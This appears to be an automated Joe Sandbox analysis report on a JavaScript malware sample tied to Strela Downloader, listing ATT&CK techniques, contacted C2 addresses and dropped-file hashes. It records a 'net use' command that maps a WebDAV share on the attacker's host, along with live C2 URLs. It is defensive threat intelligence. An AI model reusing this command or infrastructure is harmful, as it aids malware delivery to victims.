Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
37422659297833858.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/CCPC&	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000F.00000002.2575897681.0000026F33061000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 0000000D.00000002.1352431685.00000195E4A18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1352537832.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1352431685.00000195E4A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1339347119.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1337974314.00000195E4A6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000F.00000003.1338042562.0000026F33200000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://193.143.1.205:8888/CCPC&	net.exe, 0000000D.00000002.1352537832.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1339347119.00000195E4A48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588150
Start date and time:	2025-01-10 21:56:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	37422659297833858.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.40.179.72, 23.40.179.71, 23.40.179.14, 23.40.179.59, 23.40.179.15, 23.40.179.4, 23.40.179.5, 23.40.179.78, 23.40.179.66, 13.107.246.45, 18.213.11.84, 4.175.87.197, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:57:09	API Interceptor	24x Sleep call for process: powershell.exe modified
15:57:13	API Interceptor	1x Sleep call for process: net.exe modified
15:57:13	API Interceptor	2x Sleep call for process: svchost.exe modified
15:57:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807409691255341
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9G:0J7adfWuK0p/QDfKoPeuP0aN4fqoxF
MD5:	13151017ABBF610E8EDBBDFB0CD8CC5D
SHA1:	07DF8ACB084D6B18A5CCA07B9F34FC4ED95453E5
SHA-256:	9DDA3E166F1EA7E4DFBAC0660E7F302D748F37F4468ACF451CD8F4810DF87CE7
SHA-512:	D048868C3CAE1FB18BA4CBB1CA34BAF0BDA35630BC45EA96A54FAF659AA9F7538180DC97D1348450F5E333A6FCB0D8DB2B341A250DFA075665CBE73D15B3CBE2
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc8193800, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880377672732395
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:3azaPv4V4fXq2UaB
MD5:	D044C44DCA23C0B16E5A0B00BBC01948
SHA1:	176A184620AB6EFDEF2CFAD2DC4C07A2F1FCF898
SHA-256:	5044201EAA05800A06042577A1C98BB2EB11F631939D9AF8336296A5E535666D
SHA-512:	AF596E9E348B24803741533DE966342578A23EE4FBBD5D3BBE2F1C6CC7DE80915AEC0BE8AA2FE360775883A198BE92C3A975214772BD7D9E7FE62B28B2044526
Malicious:	false
Preview:	..8.... ...............X\...;...{......................X............{...9...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{.......................................9...}.:................r....9...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08088969352195927
Encrypted:	false
SSDEEP:	3:AXgmXEYefKR349XlVG0+q2Iqe8lBAvR+lillNTt/4ll/Q6beV/:AXgmXEzfQ3SGE8l0RaGHtc6V
MD5:	D104F6516AAA9E3CB29F6BA5C266225F
SHA1:	887F7651AB650A6FCA19D54C2403B89D3A90BBDD
SHA-256:	858E6C74EB38D2A7922B75B8D93CC2B0855AEC469B419176B5B3A2CDB2F51CF4
SHA-512:	617FF9726BA320BAC554DF21C56B4ECBF49F13C824133774EF8CEC4E82561D710448698B5BBD0188C7338CF83DB8555B10B95D914C9D6AD703729DE23ADD1632
Malicious:	false
Preview:	L..E.....................................;...{...9...}.......{...............{.......{....:......{.................r....9...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.188655454855399
Encrypted:	false
SSDEEP:	6:iO4itEq2PFi2nKuAl9OmbnIFUtSRIZmwsRQkwOFi2nKuAl9OmbjLJ:7rEvdZHAahFUt//35wZHAaSJ
MD5:	A862AC60342E5F8CC874B1887C8A7445
SHA1:	B6717696D7F5BB55DC9E4409CDC096B0C61180C7
SHA-256:	37A51953133436F79593668B0CC85CA9C6E95BFAA26EF00EF17385A918E8318E
SHA-512:	28B3B94559F217F350765BB719F7833A038340BEA8E1917B279EBF93BC77BF8CEF9C77F38765420FE5FB404179C022BCBA83C85A5B26AB4E0F1FDFE34B072496
Malicious:	false
Preview:	2025/01/10-15:57:13.649 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:57:13.652 1750 Recovering log #3.2025/01/10-15:57:13.652 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.188655454855399
Encrypted:	false
SSDEEP:	6:iO4itEq2PFi2nKuAl9OmbnIFUtSRIZmwsRQkwOFi2nKuAl9OmbjLJ:7rEvdZHAahFUt//35wZHAaSJ
MD5:	A862AC60342E5F8CC874B1887C8A7445
SHA1:	B6717696D7F5BB55DC9E4409CDC096B0C61180C7
SHA-256:	37A51953133436F79593668B0CC85CA9C6E95BFAA26EF00EF17385A918E8318E
SHA-512:	28B3B94559F217F350765BB719F7833A038340BEA8E1917B279EBF93BC77BF8CEF9C77F38765420FE5FB404179C022BCBA83C85A5B26AB4E0F1FDFE34B072496
Malicious:	false
Preview:	2025/01/10-15:57:13.649 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:57:13.652 1750 Recovering log #3.2025/01/10-15:57:13.652 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.15671582694564
Encrypted:	false
SSDEEP:	6:iO4XFXL+q2PFi2nKuAl9Ombzo2jMGIFUtSCBKWZmws/LVkwOFi2nKuAl9Ombzo23:7uXL+vdZHAa8uFUtgW/wLV5wZHAa8RJ
MD5:	2869B87928FA63E24E10331F97AC14C9
SHA1:	4A423927AD84E122201CEF9858255C885E8CBBBD
SHA-256:	597E5067B6E13B746DEF37C5DD365C456A3DE0A98096E03B300F4A664D7BE412
SHA-512:	FD78C5834E17134FD0942A507B1A9FD22995571E5E5689569862A93AE9B0E7AAA4BFB96EB6BC02D88B7299009794C89DFAF9CCD2824FB5517056B38981A5BB78
Malicious:	false
Preview:	2025/01/10-15:57:13.739 1e3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:57:13.741 1e3c Recovering log #3.2025/01/10-15:57:13.742 1e3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.15671582694564
Encrypted:	false
SSDEEP:	6:iO4XFXL+q2PFi2nKuAl9Ombzo2jMGIFUtSCBKWZmws/LVkwOFi2nKuAl9Ombzo23:7uXL+vdZHAa8uFUtgW/wLV5wZHAa8RJ
MD5:	2869B87928FA63E24E10331F97AC14C9
SHA1:	4A423927AD84E122201CEF9858255C885E8CBBBD
SHA-256:	597E5067B6E13B746DEF37C5DD365C456A3DE0A98096E03B300F4A664D7BE412
SHA-512:	FD78C5834E17134FD0942A507B1A9FD22995571E5E5689569862A93AE9B0E7AAA4BFB96EB6BC02D88B7299009794C89DFAF9CCD2824FB5517056B38981A5BB78
Malicious:	false
Preview:	2025/01/10-15:57:13.739 1e3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:57:13.741 1e3c Recovering log #3.2025/01/10-15:57:13.742 1e3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\73b8d143-99a2-4f8b-bdcd-4e4a6203d387.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7554feae-cf66-4224-a53e-4c7a9d49c481.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.960460189865694
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqK2W6SsBdOg2HM2Acaq3QYiubpP7E4TX:Y2sRdssW6XdMHMc3QYhbd7n7
MD5:	B2E1154D42DDE23538B7DCD2934A92D1
SHA1:	93C9DFA59E512F0435BF94E91E8163CE760FE6DA
SHA-256:	DF0F3B9920203C3DB8E48B0C020658CF096903309BA87C5B67743877F30FE0DD
SHA-512:	6B73A51F869941F267120B572B76F24E946D1D59141A26CFFFC89A83B439BDBEED8CF16B9D0B4EBAA4DF1B4C78C51840FF5C00C36D093361467D8C162386CB98
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102645435491","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136644},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF54c654.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2310599559619595
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVtQ2V:wshFT0h7cZb2EVKZPEANcGIK5EVtQ2V
MD5:	A62056A4775F8CF2FD6BB875FC360E0E
SHA1:	DA242DE428876420896422D2648D310C4451874B
SHA-256:	D436C94F5E546C730FD914B69194A8602E8DF10FE925282D43804138631CB02B
SHA-512:	922A1131FB0C5C2ABA0F7E9FCCC596371112D2B6D79D88CFD123A48567487296EDC06891D85CF33A68477CE9EE720CA4A5872CCA146EB3602C1DF234EBD572AF
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.178310522250656
Encrypted:	false
SSDEEP:	6:iO4PjL+q2PFi2nKuAl9OmbzNMxIFUtSgPPKWZmwssDjLVkwOFi2nKuAl9OmbzNMT:7IL+vdZHAa8jFUt76W//DjLV5wZHAa8E
MD5:	C2E66F2933CB6CADF29E612BFAD974D1
SHA1:	6CCD1F691884903D009762EC5627298B26DC2A43
SHA-256:	AE1D20D835CE40D861567D7F133F4DDDB909BC043B90413A83D6F2A147A03BA0
SHA-512:	290538FC6BD80503DA18F6485D54E37BAF92E28D5E10B3F19E540B5E838AF153E937F6FCAE19ED5982F2117B9E2401C0BFBDAFB17EC47B0CCAA3AED582612056
Malicious:	false
Preview:	2025/01/10-15:57:13.878 1e3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:57:13.879 1e3c Recovering log #3.2025/01/10-15:57:13.880 1e3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.178310522250656
Encrypted:	false
SSDEEP:	6:iO4PjL+q2PFi2nKuAl9OmbzNMxIFUtSgPPKWZmwssDjLVkwOFi2nKuAl9OmbzNMT:7IL+vdZHAa8jFUt76W//DjLV5wZHAa8E
MD5:	C2E66F2933CB6CADF29E612BFAD974D1
SHA1:	6CCD1F691884903D009762EC5627298B26DC2A43
SHA-256:	AE1D20D835CE40D861567D7F133F4DDDB909BC043B90413A83D6F2A147A03BA0
SHA-512:	290538FC6BD80503DA18F6485D54E37BAF92E28D5E10B3F19E540B5E838AF153E937F6FCAE19ED5982F2117B9E2401C0BFBDAFB17EC47B0CCAA3AED582612056
Malicious:	false
Preview:	2025/01/10-15:57:13.878 1e3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:57:13.879 1e3c Recovering log #3.2025/01/10-15:57:13.880 1e3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438866936009719
